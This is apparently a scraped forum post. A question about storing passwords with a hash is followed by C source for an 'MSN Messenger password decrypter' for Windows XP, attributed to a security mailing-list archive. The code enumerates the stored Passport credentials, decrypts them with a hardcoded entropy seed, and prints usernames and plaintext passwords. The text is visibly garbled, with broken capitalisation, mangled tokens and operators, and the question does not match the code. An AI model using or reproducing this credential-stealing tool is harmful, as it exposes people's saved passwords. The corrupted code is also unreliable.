How can I save my password? I need to save it with a hash. Failed,ProgramFind the password directly. Windows XP + VC ++ 7.0 is compiled.
# Include <windows. h>
# Include <wincrypt. h>
# Include <stdio. h>
# Pragma comment (Lib, "crypt32.lib ")
// Following definitions taken from wincred. h
// [Available only in Oct 2002 MS Platform SDK/
Typedef struct _ credential_attributea {
Lpstr keyword;
DWORD flags;
DWORD valuesize;
Lpbyte value;
}
Credential_attributea, * pcredential_attributea;
Typedef struct _ credentiala {
DWORD flags;
DWORD type;
Lpstr targetname;
Lpstr comment;
Filetime lastwritten;
DWORD credentialblobsize;
Lpbyte credentialblob;
DWORD persist;
DWORD attributecount;
Pcredential_attributea attributes;
Lpstr targetalias;
Lpstr username;
} Credentiala, * pcredentiala;
Typedef credentiala credential;
Typedef pcredentiala pcredential;
//////////////////////////////////////// ////////////////////////////
Typedef bool (winapi * typecredenumeratea) (lpctstr,
DWORD, DWORD *, pcredentiala **);
Typedef bool (winapi * typecredreada) (lpctstr, DWORD,
DWORD, pcredentiala *);
Typedef void (winapi * typecredfree) (pvoid );
Typecredenumeratea pfcredenumeratea;
Typecredreada pfcredreada;
Typecredfree pfcredfree;
//////////////////////////////////////// ////////////////////////////
Void showbanner ()
{
Printf ("MSN Messenger password decrypter for Windows XP/2003/N ");
Printf ("-Gregory R. panakkal, http://www.infogreg.com \ n ");
}
//////////////////////////////////////// ////////////////////////////
Int main ()
{
Pcredential * credentialcollection = NULL;
Data_blob blobcrypt, blobplaintext, blobentropy;
// Used for filling up blobentropy
Char szentropystringseed [37] =
"82bd0e67-9fea-4748-8672-d5efe5b779b0"; // credui. dll
Short int entropydata [37];
Short int TMP;
Hmodule hdll;
DWORD count, I;
Showbanner ();
// Locate credenumerate, credread, credfree from advapi32.dll
If (hdll = loadlibrary ("advapi32.dll "))
{
Pfcredenumeratea =
(Typecredenumeratea) getprocaddress (hdll,
"Credenumeratea ");
Pfcredreada =
(Typecredreada) getprocaddress (hdll, "credreada ");
Pfcredfree =
(Typecredfree) getprocaddress (hdll, "credfree ");
If (pfcredenumeratea = NULL |
Pfcredreada = NULL |
Pfcredfree = NULL)
{
Printf ("error! \ N ");
Return-1;
}
}
// Get an array of 'credential ', satisfying the filter
Pfcredenumeratea ("passport. Net \ *", 0, & count,
& Credentialcollection );
If (count) // usually this value is only 1
{
// Calculate entropy data
For (I = 0; I <37; I ++) // strlen (szentropystringseed) = 37
{
TMP = (short INT) szentropystringseed [I];
TMP <= 2;
Entropydata [I] = TMP;
}
For (I = 0; I <count; I ++)
{
Blobentropy. pbdata = (byte *) & entropydata;
Blobentropy. cbdata = 74;
// Sizeof (entropydata)
Blobcrypt. pbdata =
Credentialcollection [I]-> credentialblob;
Blobcrypt. cbdata =
Credentialcollection [I]-> credentialblobsize;
Cryptunprotectdata (& blobcrypt, null,
& Blobentropy, null, null, 1, & blobplaintext );
Printf ("username: % s \ n ",
Credentialcollection [I]-> username );
Printf ("Password: % ls \ n ",
Blobplaintext. pbdata );
}
}
Pfcredfree (credentialcollection );
}
Source:
Http://www.securityfocus.net/archive/1/408425/30/0/threaded